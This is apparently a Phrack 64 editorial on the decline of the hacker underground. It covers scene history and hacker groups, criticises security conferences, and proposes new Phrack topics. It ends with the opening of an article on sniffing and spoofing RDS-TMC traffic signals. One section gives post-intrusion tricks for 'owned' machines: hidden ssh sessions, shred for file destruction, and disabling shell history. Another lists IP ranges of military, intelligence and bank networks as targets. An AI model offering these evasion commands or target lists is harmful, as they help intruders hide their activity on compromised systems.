Have you ever heard of a "hackademy"? Nowadays, if you want to be a hacker it's really easy. Just go to a hacker school and they will teach you some of the more eleet tricks in the world. That's the new hacker way.

"Hacking is not about crime. You don't need to be a criminal to be a hacker. Hanging out with hackers doesn't make you a hacker any more than hanging out in a hospital makes you a doctor. Wearing the t‑shirt doesn't increase your intelligence or social standing. Being cool doesn't mean treating everyone like shit, or pretending that you know more than everyone around you."

So what is hacking? My point of view is that hacking is a philosophy, a philosophy of life that you can apply not only to computers but to a lot of things. Hacking is learning, learning computers, networks, cryptology, telephone systems, spying system and agencies, radio, what our governments hide... Actually all non‑conventional subjects or what could also be called a third eye view of the context.

"There are a bunch of us who have reached the conclusion that the "scene" is not worth supporting; that the cons are not worth attending; that the new influx of would‑be hackers is not worth mentoring. Maybe a lot of us have finally grown up."

Here's my answer to Erik 10 years later: "No Eric, you hadn't finally grown up, you were right." Erik already sent an SOS 10 years ago and nobody heard it.

Phrack 50, article 1:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"It seems, in recent months, the mass media has finally caught onto what we have known all along, computer security _IS_ in fact important. Barely a week goes by that a new vulnerability of some sort doesn't pop up on CNN. But the one thing people still don't seem to fathom is that _WE_ are the ones that care about security the most... We aren't the ones that the corporations and governments should worry about...We are not the enemy."

No, we are not the enemy. But a lot of people claim that we are and some people even sell books with titles like "Know your enemy". It's probably one of the best ways to be hated by a lot of hackers. Don't be surprised if there are some groups like PHC appearing after that.

Phrack 55, article 1:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Here I will show you the arrogance of the not‑so‑far past editor, answering some comments:

"...Yeah, yeah, Phrack is still active you may say. Well let me tell you something.Phrack is not what it used to be. The people who make Phrack are not Knight Lightning and Taran King, from those old BBS days. They are people like you and me, not very different, that took on themselves a job that it is obvious that is too big for them. Too big? hell, HUGE. Phrack is not what it used to be anymore. Just try reading, let's say, Phrack 24, and Phrack 54..."

And the editor replied (maybe Route):

"bjx of "PURSUiT" trying to justify his `old‑school` ezine. bjx wrote a riveting piece on "Installing Slackware" article. Fear and respect the lower case "i"".

This is a perfect example of how the Underground scene has grown up in the last few years. We can interpret editor's answer like "I'm writing some eleet articles and not you, so I don't have to take into consideration your point of view". But it was a really pertinent remark.

Phrack 56, article 1:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Here is another excellent example to show you the arrogance of the Underground scene. Again, it's an answer to a comment from someone:

"...IMHO it hasn't improved. Sure, some technical aspects of the magazine have improved, but it's mostly a dry technical journal these days. The personality that used to characterize Phrack is pretty much non‑existant, and the editorial style has shifted towards one of `I know more about buffer overflows than you` arrogance. Take a look at the Phrack Loopback responses during the first 10 years to the recent ones. A much higher percentage of responses are along the lines of `you're an idiot, we at Phrack Staff are much smarter than you.`..."

And the reply:

" ‑ Trepidity <delirium4u@theoffspring.net> apparently still bitter at not being chosen as Mrs. Phrack 2000."

IMHO, Trepidity's remark was probably the best remark for a long long time.

Let's stop this little history course. I have showed you that I'm not alone in my reflection and that there is something wrong with the current disfunctional scene. Some people already thought this 10 years ago and I know that a lot of people are currently thinking exactly the same thing. The scene is dying and its spirit is flying away.

I'm not Erik Bloodaxe, I'm not Voyager or even Taran King ... I'm just me. But I would like to do something like 15 years ago, when the word hacking was still used in the noble sense. When the spirit was still there. We all need to react together or the beast will eat whats left of the spirit.

‑‑‑‑[ 3.3 The current zombie scene

"A dead scene whose body has been re‑animated but whose the spirit is lacking".

I'm not really aware of every 'groups' in the world. Some people are much more connected than me. And to be honest, I knew the scene better 5 years ago than I do now. But I will try to give you a snapshot of what the current scene is. Forgive me in advance for the groups that I will forget, it's really difficult to have an accurate snapshot. The best way to have a snapshot of the current scene is probably to use an algorithm like HITS which allow to detect a web community. But unfortunately I don't have time to implement it.

So the current scene for me is like a pyramid and it's organized like secret societies. I would like to split hackers groups in 3 categories. In order to not give stupid names to these groups I will call them layer 1 group, layer 2 group and layer 3 group. In the layer 1, 5 years ago, you had some really "famous" groups which were, I think, composed of talented people. I will split this layer into two categories: front‑end groups and back‑end groups. Some of the groups I called front‑end are: TESO, THC, w00w00, Phenoelit or Hert. Back‑end groups include ADM, Synergy, ElectronicSouls or Devhell. And you also have PHC that you can include in both categories (you know guys you have your entry in Wikipedia!). And at the top of that (but mainly at the top of PHC) you had obscure/eleet groups like AB.

In the layer 2, I would like to include a lot of groups of less scale but I think which are trying to do good stuff. Generally, these groups have no communication with layer 1 groups. These groups are: Toxyn, Blackhat.be, Netric, Felinemenace, S0ftpj (nice mag), Nettwerked (congratulation for the skulls image guys!), Moloch, PacketWars, Eleventh Alliance, Progenic, HackCanada, Blacksecurity, Blackclowns or Aestetix. You can still split these groups into two categories, front‑end and back‑end. Back‑end are Toxyn or Blackat.be, others probably front‑end.

Beside these groups, you have a lot of wannabe groups that I'd like to include in layer 3, composed of new generation of hackers. Some of these groups are probably good and I'm sure that some have the good hacking spirit, but generally these groups are composed of hackers who learned hacking in a school or by reading hackers magazine that they find in library. When you see a hacker arrested in a media, he generally comes from one of these unknown groups. 20 years ago, cops arrested hackers like Kevin Mitnick (The Condor), Nahshon Even‑Chaim (Phoenix, The Realm), Mark Abene (Phiber Optik, Legion of Doom) or John Lee (Corrupt, Master of Deception), now they arrest Mafia Boy for a DDOS...

There are also some (dead) old school groups like cDc, Lopht or rhino9, independent skilled guys like Michal Zalewski or Silvio Cesare, research groups like Lsd‑pl and Darklab and obscure people like GOBBLES, N3td3v or Fluffy Bunny :‑) And of course, I don't forget people who are not affiliated to any groups.

You can also find some central resources for hackers or phreackers like Packetstorm or Phreak.org, and magazine oriented resources like Pull the Plug or Uninformed.

In this wonderful world, you can find some self proclaimed eleet mailing list like ODD.

We can represent all these groups in a pyramid. Of course, this pyramid is not perfect. So don't blame me if you think that your groups is not in the good category, it's just a try.

The Underground Pyramid

_

/ \

/ \

/ \

/ \

/ \ <‑‑ More eleet hackers in

/ \ / \the world. Are you in?

/ ‑(o)‑\

/ / \ \

/ \

/ \

/_____________________\

/ \<‑‑ skilled hackers

/AB, Fluffy Bunny, ... \ hacking mainly

/___________________________\ for fun

/|| |\

/ PHC| TESO| ADM | cDc \ <‑‑ Generally

/ EL8| THC| Synergy | Lopht \excellent skills

/ GOBBLES| WOOWOO| Devhell | rhino9 \some groups have

/ ...| ...| ... | .... the good spirit

/_________________________________

/| \

/ Blackhat.be| HackCanada \ <‑‑ good skills,

/ Toxyn| Felinemenace\ some are

/ ... | Netric \ very

/ | ... \ original

/________________________________

/ \

/ WANABEE GROUPS \ <‑‑ newbies

/___________________________________

/ \ <‑‑ info

/ Resources: 2600,Phrack, PacketStorm, Phreak.org, Uniformed, \ for /PTP, ... \ all

/_______________________________________

All of these people make up the current scene. It's a big mixture between white/gray/black hats, where some people are white hat in the day and black hat at night (and vice‑versa). Sometimes there are communication between them, sometimes not. I also have to say that it's generally the people from layer 1 groups who give talks to security conferences around the world...

It's really a shame that PHC is probably the best ambassador of the hacking spirit. Their initiative was great and really interesting. Moreover they are quite funny. But IMHO, they are probably a little too arrogant to be considered like an old spirit group.

Actually, the bad thing is that all these people are more or less separate and everyone is fighting everyone else. You can even find some hackers hacking other hackers! Where is the scene going? Even if you are technically very good, do you have to say to everyone that you are the best one and naming others as lamerz? The new hacker generation will never understand the hacking spirit with this mentality.

Moreover the majority of hackers are completely disinterested by alternate interesting subjects addressed for example in 2600 magazine or on Cryptome website. And this is really a shame because these two media are publishing some really good information. Most hackers are only interested by pure hacking techniques like backdooring, network exploitation, client vulnerabilities... But for me hacking is closely related to other subjects like those addressed on Cryptome website. For example the majority of hackers don't know what SIPRnet is. There is only one reference in Phrack, but there are several articles about SIPRnet in 2600 magazine or on Cryptome website. When I want to discuss about all these interesting subjects it's really difficult to find someone in the scene. And to be honest the only people that I can find are people away from the scene. The majority of hackers composing the groups I mentioned above are not interested by these subjects (as far as I know). Old school hackers in 80's or 90's were more interested by alternated subjects than the new generation.

In conclusion, firstly we have to get back the old school hacking spirit and afterwards explain to the new generation of hackers what it is.

It's the only way to survive. The scene is dying but I won't say that we can't do anything. We can do something. We must do something. It's our responsibility.

‑‑[ 4 Are security experts better than hackers?

STOP!!!!! I do not want to say that security experts are better than hackers. I don't think they are, but to be honest it's not really important. It's nonsense to ask who is better. The best guy, independent from the techniques he used, is always the most ingenious. But there are two points that I would like to develop.

‑‑‑‑[ 4.1 The beautiful world of corporate security

I met a really old school hacker some months ago, he told me something very pertinent and I think he was right. He told me that the technology has really changed these last years but that the old school tricks still work. Simply because the people working for security companies don't really care about security. They care more about finding a new eleet technique to attack or defend a system and presenting it to a security conference than to use it in practice.

So Underground, we have a problem. A major problem. 15 years ago, there were a lot of people working for the security industry. At times, there also were a lot of people working in what I will call the Underground scene. No‑one can estimate the percentage in each camp, but I would say it was something like 60% working in security and 40% working in the Underground scene. It was still a good distribution. Nowadays, I'm not sure it's still true. A better estimation should be 80/20 orientated to security or maybe even worse... There are increasingly more and more people working for the security world than for the Underground scene. Look at all these "eleet" security companies like ISS, Core Security, Immunity, IDefense, eEye, @stake, NGSSoftware, Checkpoint (!), Counterpane, Sabre Security, Net‑Square, Determina, SourceFire...I will stop here otherwise Google will make some publicity for these companies. All these security companies have hired and still hire some hackers, even if they will say that they don't. Sometimes, they don't even know they hired a hacker. How many past Phrack writers work for these companies? My guess is a lot, really a lot. After all, you can't stop a hacker if you have never been one...

You'll tell me: "that's normal, everyone has to eat". Yeah, that's true. Everyone has to eat. I'm not talking about that. What I don't like (even if we do need these good and bad guys) is all the stuff around the security world: conferences, (false) alerts, magazines, mailing lists, pseudo security companies, pseudo security websites, pseudo security books...

Can you tell me why there is so much security related stuff and not so much Underground related stuff?

‑‑[ 4.2 The in‑depth knowledge of security conferences

If you have a look at all the topics addressed in a security conference, it's amazing. Take the most famous conferences: *Blackhat, *SecWest or even Defcon (I mention only marketing conferences, there are others good conferences that are less corporate/business oriented like CCC, PH neutral, HOPE or WTH). Now look at the talks given by the speakers, they're really good. When I went to a security conference 5 years ago it was so funny, I was saying to my friends: "these guys are 5 years late". It was true then but I think it's not true anymore. They are probably still late, but not as late as they were. But the most relevant point for me is that recently there have been a lot of very interesting subjects. OK not everything was interesting ‑ there were some shit subjects too. What I would consider as interesting subjects are those related to new technologies (VOIP, WEB 2.0, RFID, BlackBerry, GPS...) or original topics like hardware hacking, BlackOps, agency relationships, SE story, bioinfo attack, nanotech, PsyOp... What the Fuck ?!#@?! 10 years ago, all the original topics were released in an Underground magazine like Phrack or 2600. Not in a security conference where you have to pay more than $1000.

This is not my idea of what hacking should be. Do you really need publicity like this to feel good? This is not hacking. I'm not talking here about the core but the form. When I'm coding something at home all night and in the morning it works, it's really exciting. And I don't have to say to everyone "look at what I did!". Especially not in public where people have to pay more than $1000 to hear you.

Another incredible thing about these security conferences is what I would call the "conference circuit". Nowadays, if you are a security expert, the trend is to give the same talk at different security conferences around the world. More than 50% of all security experts are doing this. They go in America at BlackHat, Defcon and CanSecWest, after they move in Europe and they finish in Asia or Australia. They can even do BlackHat America, BlackHat Europe and BlackHat Asia! Like Roger Federer or Tiger Woods, they try to do the Grand Slam! So you can find a conference given in 2007 which is more or less the same than one in 2005. Thus it seems we have now a new profession in our wonderful security world: "conferences runner" !

Last funny thing is the number of conferences that I will include in the category "How to hack the system XXX". For example at the last Blackhat USA there was a conference on how to hack an embedded device, for example printers and copiers. Despite the fact that it's interesting (collecting document printed), what I find funny is the fact that you just have to hack a non conventional device to be at Blackat or Defcon. So, I will give some good advice to hackers who want to become famous: try to hack the coffee machine used by the FBI or the embedded device used by the lift of the Pentagon and everyone will see you as a hero or a terrorist (thats context based).

‑‑[ 5. Phrack and the axis of counter‑attack

Now that I have given you an overview of the security world, let's try to see how we can change it. There are two possibilities here. The first one is this:‑ I say to you "OK now that you really understand the problem, it's definitely time to change our mentality. This is the new mind set that we have to adopt". It's a little bit pretentious to say this though. Nobody can solve the problem alone and pretend to bring the good solution. So I guess that the first possibility won't work. People will agree but nobody will do anything.

The second possibility is to start with Phrack. All the people who make up The Circle of Lost Hackers agree that Phrack should come back to its past style when the spirit was present. We really agree with the quote above which said that Phrack is mainly a dry technical journal. It's why we would like to give you some idea that can bring back to Phrack its bygone aura. Phrack doesn't belong to a group a people, Phrack belongs to everyone, everyone in the Underground scene who want to bring something for the Underground. After all, Phrack is a magazine made by the community for the community.

We would like to invite everyone to give their point of view about the current scene and the orientation that Phrack should take in the future. We could compile a future article with all your ideas.

‑‑‑‑[ 5.1. Old idea, good idea

If you take a look at the old Phrack, there are some recurring articles :

* Phrack LoopBack

* Line noise

* Phrack World News

* Phrack Prophiles

* International scenes

Here's something funny about Phrack World News, if you take a look at Phrack 36 it was not called "Phrack World News" but instead it was "Elite World News"...

So, all these articles were and are interesting. But in these articles, we would like to resuscitate the last one: "International scenes". A first essay is made in this issue, but we would like people to send us a short description of their scene. It could be very interesting to have some descriptions of scenes that are not common, for example the China scene, the Brazilian scene, the Russian scene, the African scene, the Middle East scene... But of course we are also interested in the more classic scenes like Americas, GB, France, Germany, ... Everything is welcome, but hackers all over the world are not only hackers in Europe‑Americas, we're everywhere. And when we talk about the Underground scene, it should include all local scenes.

‑‑‑‑[ 5.2. Improving your hacking skills

Here we would like to start a new kind of article. An article whose purpose is to give to the new generation of hackers some different little tricks to hack "like an eleet". This article will be present in every new issue (at least until it's dead ... we hope not soon). The idea is to ask to everyone to send us their tricks when they hack something (it could be a computer or not). The tricks should be explained in no more than 30 lines, and it could even be one line. It could be an eleet trick or something really simple but useful. Example:

An almost invisible ssh connection

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In the worse case if you have to ssh on a box, do it every time with no tty allocation

ssh ‑T user@host

If you connect to a host with this way, a command like "w" will not show your connection. Better, add 'bash ‑i' at the end of the command to simulate a shell

ssh ‑T user@host /bin/bash ‑i

Another trick with ssh is to use the ‑o option which allow you to specify a particular know_hosts file (by default it's ~/.ssh/know_hosts). The trick is to use ‑o with /dev/null:

ssh ‑o UserKnownHostsFile=/dev/null ‑T user@host /bin/bash ‑i

With this trick the IP of the box you connect to won't be logged in know_hosts.

Using an alias is a good idea.

Erasing a file

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In the case of you have to erase a file on a owned computer, try to use a tool like shred which is available on most of Linux.

shred ‑n 31337 ‑z ‑u file_to_delete

‑n 31337 : overwrite 313337 times the content of the file

‑z : add a final overwrite with zeros to hide shredding

‑u : truncate and remove file after overwriting

A better idea is to do a small partition in RAM with tmpfs or ramdisk and storing all your files inside.

Again, using an alias is a good idea.

The quick way to copy a file

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If you have to copy a file on a remote host, don't bore yourself with an FTP connection or similar. Do a simple copy and paste in your Xconsole. If the file is a binary, uuencode the file before transferring it.

A more eleet way is to use the program 'screen' which allows copying a file from one screen to another:

To start/stop : C‑a H or C‑a : log

And when it's logging, just do a cat on the file you want to transfer.

Changing your shell

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The first thing you should do when you are on an owned computer is to change the shell. Generally, systems are configured to keep a history for only one shell (say bash), if you change the shell (say ksh), you won't be logged.

This will prevent you being logged in case you forget to clean the logs. Also, don't forget 'unset HISTFILE' which is often useful.

Some of these tricks are really stupid and for sure all old school hackers know them (or don't use them because they have more eleet tricks). But they are still useful in many cases and it should be interesting to compare everyone's tricks.

‑‑‑‑[ 5.3. The Underground yellow pages

Another interesting idea is to maintain a list of all the interesting IP ranges in the world. This article will be called "Meaningful IP ranges". We have already started to scan all the class A and B networks. What is really interesting is all the IP addresses of agencies which are supposed to spy us. Have a look at this site:

http://www.milnet.com/iagency.htm

However we don't have to focus our list on agencies, but on everything which is supposed to be the power of the world.

It includes:

* All agencies of a country (China, Russia, UK, France, Israel...)

* All companies in a domain, for example all companies related to private secret service or competitive intelligence or financial clearing or private army (dyncorp, CACI, MPRI, Vinnel, Wackenhut, ...)

* Companies close to government (SAIC, Dassault, QinetiQ, Halliburton, Bechtel...)

* Spying business companies (AT&T, Verizon, VeriSign, AmDocs, BellSouth, Top Layer Networks, Narus, Raytheon, Verint, Comverse, SS8, pen‑link...)

* Spoken Medias (Al Jazeera, Al Arabia, CNN, FOX, BBC, ABC, RTVi, ...)

* Written Medias or press agencies (NY/LA Times, Washington Post, Guardian, Le monde, El Pais, The Bild, The Herald, Reuters, AFP, AP, TASS, UPI...)

* All satellite maintainers (Intelsat, Eurosat, Inmarsat, Eutelsat, Astra...)

* Suspect investment firms (Carlyle, In‑Q‑Tel...)

* Advanced research centers (DARPA, ARDA/DTO, HAARP...)

* Secret societies, fake groups and think‑tanks (The Club of Rome, The Club of Berne, Bilderberg, JASON group, Rachel foundation, CFR, ERT, UNICE, AIPAC, The Bohemian Club, Opus Dei, The Chatman House, Church of Scientology...)

* Guerilla groups, rebels or simply alternative groups (FARC, ELN, ETA, KKK, NPA, IRA, Hamas, Hezbolah, Muslim Brothers...)

* Ministries (Defense, Energy, State, Justice...)

* Militaries or international polices (US Army, US Navy, US Air Force, NATO, European armies, Interpol, Europol, CCU...)

* And last but not least: HONEYPOT!

It's obvious that not all ranges can be obtained. Some agencies are registered under a false name in order to be more discrete (what about ENISA, the European NSA?), others use some high level systems (VPN, tor ...) on top of normal networks or simply use communication systems other than the Internet. But we would like to keep the most complete list we can. But for this we need your help. We need the help of everyone in the Underground who is ready to share knowledge. Send us your range.

We started to scan the A and B range with a little script we made, but be sure that the more interesting range are in class C. Here is a quick start of the list :

11.0.0.0 ‑ 11.255.255.255 : DoD Network Information Center 144.233.0.0 ‑ 144.233.255.255 : Defense Intelligence Agency 144.234.0.0 ‑ 144.234.255.255 : Defense Intelligence Agency 144.236.0.0 ‑ 144.236.255.255 : Defense Intelligence Agency 144.237.0.0 ‑ 144.237.255.255 : Defense Intelligence Agency 144.238.0.0 ‑ 144.238.255.255 : Defense Intelligence Agency 144.239.0.0 ‑ 144.239.255.255 : Defense Intelligence Agency 144.240.0.0 ‑ 144.240.255.255 : Defense Intelligence Agency 144.241.0.0 ‑ 144.241.255.255 : Defense Intelligence Agency 144.242.0.0 ‑ 144.242.255.255 : Defense Intelligence Agency 162.45.0.0 ‑ 162.45.255.255 : Central Intelligence Agency 162.46.0.0 ‑ 162.46.255.255 : Central Intelligence Agency 130.16.0.0 ‑ 130.16.255.255 : The Pentagon

134.11.0.0 ‑ 134.11.255.255 : The Pentagon

134.152.0.0 ‑ 134.152.255.255 : The Pentagon

134.205.0.0 ‑ 134.205.255.255 : The Pentagon

140.185.0.0 ‑ 140.185.255.255 : The Pentagon

141.116.0.0 ‑ 141.116.255.255 : Army Information Systems Command‑Pentagon 6.0.0.0 ‑ 6.255.255.255 : DoD Network Information Center 128.20.0.0 ‑ 128.20.255.255 : U.S. Army Research Laboratory 128.63.0.0 ‑ 128.63.255.255 : U.S. Army Research Laboratory 129.229.0.0 ‑ 129.229.255.255 : United States Army Corps of Engineers 131.218.0.0 ‑ 131.218.255.255 : U.S. Army Research Laboratory 134.194.0.0 ‑ 134.194.255.255 : DoD Network Information Center 134.232.0.0 ‑ 134.232.255.255 : DoD Network Information Center 137.128.0.0 ‑ 137.128.255.255 : U.S. ARMY Tank‑Automotive Command 144.252.0.0 ‑ 144.252.255.255 : DoD Network Information Center 155.8.0.0 ‑ 155.8.255.255 : DoD Network Information Center 158.3.0.0 ‑ 158.3.255.255 : Headquarters, USAAISC

158.12.0.0 ‑ 158.12.255.255 : U.S. Army Research Laboratory 164.225.0.0 ‑ 164.225.255.255 : DoD Network Information Center 140.173.0.0 ‑ 140.173.255.255 : DARPA ISTO

158.63.0.0 ‑ 158.63.255.255 : Defense Advanced Research Projects Agency 145.237.0.0 ‑ 145.237.255.255 : POLFIN ( Ministry of Finance Poland) 163.13.0.0 ‑ 163.32.255.255 : Ministry of Education Computer Center Taiwan 168.187.0.0 ‑ 168.187.255.255 : Kuwait Ministry of Communications 171.19.0.0 ‑ 171.19.255.255 : Ministry of Interior Hungary 164.49.0.0 ‑ 164.49.255.255 : United States Army Space and Strategic Defense

165.27.0.0 ‑ 165.27.255.255 : United States Cellular Telephone 152.152.0.0 ‑ 152.152.255.255 : NATO Headquarters

128.102.0.0 ‑ 128.102.255.255 : NASA

128.149.0.0 ‑ 128.149.255.255 : NASA

128.154.0.0 ‑ 128.154.255.255 : NASA

128.155.0.0 ‑ 128.155.255.255 : NASA

128.156.0.0 ‑ 128.156.255.255 : NASA

128.157.0.0 ‑ 128.157.255.255 : NASA

128.158.0.0 ‑ 128.158.255.255 : NASA

128.159.0.0 ‑ 128.159.255.255 : NASA

128.161.0.0 ‑ 128.161.255.255 : NASA

128.183.0.0 ‑ 128.183.255.255 : NASA

128.217.0.0 ‑ 128.217.255.255 : NASA

129.50.0.0 ‑ 129.50.255.255 : NASA

153.31.0.0 ‑ 153.31.255.255 : FBI Criminal Justice Information Systems 138.137.0.0 ‑ 138.137.255.255 : Navy Regional Data Automation Center 138.141.0.0 ‑ 138.141.255.255 : Navy Regional Data Automation Center 138.143.0.0 ‑ 138.143.255.255 : Navy Regional Data Automation Center 161.104.0.0 ‑ 161.104.255.255 : France Telecom R&D

161.105.0.0 ‑ 161.105.255.255 : France Telecom R&D

161.106.0.0 ‑ 161.106.255.255 : France Telecom R&D

159.217.0.0 ‑ 159.217.255.255 : Alcanet International (Alcatel) 158.190.0.0 ‑ 158.190.255.255 : Credit Agricole

158.191.0.0 ‑ 158.191.255.255 : Credit Agricole

158.192.0.0 ‑ 158.192.255.255 : Credit Agricole

165.32.0.0 ‑ 165.48.255.255 : Bank of America

171.128.0.0 ‑ 171.206.255.255 : Bank of America

167.84.0.0 ‑ 167.84.255.255 : The Chase Manhattan Bank

159.50.0.0 ‑ 159.50.255.255 : Banque Nationale de Paris

159.22.0.0 ‑ 159.22.255.255 : Swiss Federal Military Dept. 163.12.0.0 ‑ 163.12.255.255 : navy aviation supply office 163.249.0.0 ‑ 163.249.255.255 : Commanding Officer Navy Ships Parts 164.94.0.0 ‑ 164.94.255.255 : Navy Personnel Research

164.224.0.0 ‑ 164.224.255.255 : Secretary of the Navy

34.0.0.0 ‑ 34.255.255.255 : Halliburton Company

139.121.0.0 ‑ 139.121.255.255 : Science Applications International Corporation

...

The last one is definitely interesting; people interested by obscure technologies should investigate in‑depth SAIC stuff...

But anyway this list is rough and incomplete. We have a lot more interesting ranges but not yet classed. It's just to show you how easy it is to obtain.

If you think that the idea is funny, send us your range. We would be pleased to include your range in our list. The idea is to offer the more complete list we can for the next Phrack release.

‑‑‑‑[ 5.4. The axis of knowledge

I'm sure that everyone knows "the axis of evil". This sensational expression was coined some years ago by Mr. Bush to group wicked countries (but was it really invented by the "president" or by m1st3r Karl Rove??). We could use the same expression to name the evil subjects that we would like to have in Phrack. But I will leave to Mr Powerful Bush his expression and find a more noble one : The Axis of Knowledge.

So what is it about? Just list some topics that we would like to find more often in Phrack. In the past years, Phrack was mainly focused on exploitation, shellcode, kernel and reverse engineering. I'm not saying that this was not interesting, I'm saying that we need to diversify the articles of Phrack. Everyone agrees that we must know the advances in heap exploitation but we should also know how to exploit new technologies.

‑‑‑‑‑‑[ 5.4.1 New Technologies

To illustrate my point, we can take a quote from Phrack 62, the profiling of Scut:

Q: What suggestions do you have for Phrack?

A: For the article topics, I personally would like to see more articles on upcoming technologies to exploit, such as SOAP, web services, .NET, etc.

We think he was right. We need more article on upcoming technology. Hackers have to stay up to date. Low level hacking is interesting but we also need to adapt ourselves to new technologies.

It could include: RFID, Web2, GPS, Galileo, GSM, UMTS, Grid Computing, Smartdust system.

Also, since the name Phrack is a combination between Phreack and Hack, having more articles related to Phreacking would be great. If you have a look to all the Phrack issues from 1 to 30, the majority of articles talked about Phreacking. And Phreacking and new technologies are closely connected.

‑‑‑‑‑‑[ 5.4.2 Hidden and private networks

We would like to have a detailed or at least an introduction to private networks used by governments. It includes:

* Cyber Security Knowledge Transfer Network (KTN) http://ktn.globalwatchonline.com

* Unclassified but Sensitive Internet Protocol Router Network and

The Secret IP Router Network (SIPRN) http://www.disa.mil/main/prodsol/data.html

* GOVNET

http://www.govnet.state.vt.us/

* Advanced Technology Demonstration Network

http://www.atd.net/

* Global Information Grid (GIG) http://www.nsa.gov/ia/industry/gig.cfm?MenuID=10.3.2.2

...

There are a lot private networks in the world and some are not documented. What we want to know is: how they are implemented, who is using them, which protocols are being used (is it ATM, SONET...?), is there a way to access them through the Internet, ....

If you have any information to share on these networks, we would be very interested to hear from you.

‑‑‑‑‑‑[ 5.4.3 Information warfare

Information warfare is probably one of the most interesting upcoming subjects in recent years. Information is present everywhere and the one who controls the information will be the master. USA already understands this well, China too, but some countries are still late. Especially in Europe. Some websites are already specialized in information warfare like IWS the Information Warfare Site (http://www.iwar.org.uk)

You can also find some schools across the world which are specialized in information warfare.

We, hackers, can use our knowledge and ingeniousness to do something in this domain. Let me give you two examples. The first one is Black Hat SEO (http://www.blackhatseo.com/). This subject is really interesting

because it combines a lot of subjects like development, hacking, social engineering, linguistics, artificial intelligence and even marketing. These techniques can be use in Information Warfare and we would like the Underground to know more about this subject.

Second example, in a document entitled "Who is n3td3v?" the author (hacker factor) use linguistic techniques in order to identify n3td3v. After having analyzed n3td3v's text, the author claims that n3td3v and Gobbles are probably the same person. N3td3v's answer was to say that he has an A.I. program allowing him to generate a text automatically. If he wants to sound like George Bush, he has simply to find a lots of articles by him, give these texts to his A.I. and the AI program will build a model representing the way that George Bush write. Once the model created, he can give a text to the A.I. and this text will be translated in "George Bush Speaking". Author's answer (hacker factor) was to say it's not possible.

For working in text‑mining, I can tell you that it's possible. The majority of people working in the academic area are blind and when you come to them with innovative techniques, they generally say you that you are a dreamer. A simple implementation can be realized quickly with the use of a grammar (that you can even induct automatically), a thesaurus and markov chains. Add some home made rules and you can have a small system to modify a text.

An idea could be to release a tool like this (the binary, not the source). I already have the title for an article : "Defeating forensic: how to cover your says" !

More generally, in information warfare, interesting subjects could be:

* Innovative information retrieval techniques

* Automatic diffusion of manipulated information

* Tracking of manipulated information

Military and advanced centers like DARPA are already interested in these topics. We don't have to let governments have the monopoly on these areas. I'm sure we can do much better than governments.

‑‑‑‑‑‑[ 5.4.4 Spying System

Everyone knows ECHELON, it's probably the most documented spying system in the world. Unfortunately, the majority of the information that you can find on ECHELON is where ECHELON bases in the world are. There is nothing about how they manipulate data. It's evident that they are using some data‑mining techniques like speech recognition, text‑cleaning, topic classification, name entity recognition sentiment detection and so on. For this they could use their own software or maybe they are using some commercial software like:

Retrievalware from Convera : http://www.convera.com/solutions/retrievalware/Default.aspx

Inxight's products:

http://www.inxight.com/products/

"Minority Report" like system visualization: http://starlight.pnl.gov/

...

For now we are like Socrates, all we know is that we know nothing. Nothing about how they process data. But we are very interested to know.

In the same vein, we would like to know more on Narus (http://www.narus.com/), which could be used as the successor of

CARNIVORE which was the FBI's tools to intercept electronic data. Which countries use Narus, where it is installed, how is Narus processing information...

Actually any system which is supposed to spy on us is interesting.

‑‑[ 6. Conclusion

I'm reaching the end of my subject. Like with every articles some people will agree with the content and some not. I'm probably not the best person for talking about the Underground but I tried to resume in this text all the interesting discussions I had for several years with a lot of people. I tried to analyze the past and present scene and to give you a snapshot as accurate as possible.

I'm not entirely satisfied, there's a lot more to say. But if this article can already make you thinking about the current scene or the Underground in general, that means that we are on the good way.

The most important thing to retain is the need to get back the Underground spirit. The world changes, people change, the security world changes but the Underground has to keep its spirit, the spirit which characterized it in the past.

I gave you some ideas about how we could do it, but there are much more ideas in 10000 heads than in one. Anyone who worry about the current scene is invited to give his opinion about how we could do it.

So let's go for the wakeup of the Underground. THE wakeup. A wakeup to show to the world that the Underground is not dead. That it will never die, that it is still alive and for a long time.

Thats the responsibility of all hackers around the world.

Hijacking RDS TMC traffic information signal

_

_/B\_ W\_

(* *) Phrack #64 file 5 (* *)

| ‑ |

| | Hijacking RDS‑TMC Traffic Information | |

| | signals | |

| |

| | by Andrea "lcars" Barisani | |

| | <lcars@inversepath.com> | |

| | Daniele "danbia" Bianco | |

| | <danbia@inversepath.com> | |

(___________________________

‑‑[ Contents

1. ‑ Introduction

2. ‑ Motivation

3. ‑ RDS

4. ‑ RDS‑TMC

2. ‑ Sniffing circuitry

4. ‑ Simple RDS Decoder v0.1

5. ‑ Links

‑‑[ 1. Introduction

Modern Satellite Navigation systems use a recently developed standard called RDS‑TMC (Radio Data System ‑ Traffic Message Channel) for receiving traffic information over FM broadcast. The protocol allows communication of traffic events such as accidents and queues. If information affects the current route plotted by the user the information is used for calculating and suggesting detours and alternate routes. We are going to show how to receive and decode RDS‑TMC packets using cheap homemade hardware, the goal is understanding the protocol so that eventually we may show how trivial it is to inject false information.

We also include the first release of our Simple RDS Decoder (srdsd is the lazy name) which as far as we know is the first open source tool available which tries to fully decode RDS‑TMC messages. It's not restricted to RDS‑TMC since it also performs basic decoding of RDS messages.

The second part of the article will cover transmission of RDS‑TMC messages, satellite navigator hacking via TMC and its impact for social engineering attacks.

‑‑[ 2. Motivation

RDS has primarily been used for displaying broadcasting station names on FM radios and give alternate frequencies, there has been little value other than pure research and fun in hijacking it to display custom messages.

However, with the recent introduction of RDS‑TMC throughout Europe we are seeing valuable data being transmitted over FM that actively affects SatNav operations and eventually the driver's route choice. This can

have very important social engineering consequences. Additionally, RDS‑TMC messages can be an attack vector against SatNav parsing capabilities.

Considering the increasing importance of these system's role in car operation (which are no longer strictly limited to route plotting anymore) and their human interaction they represent an interesting target combined with the "cleartext" and un‑authenticated nature of RDS/RDS‑TMC messages.

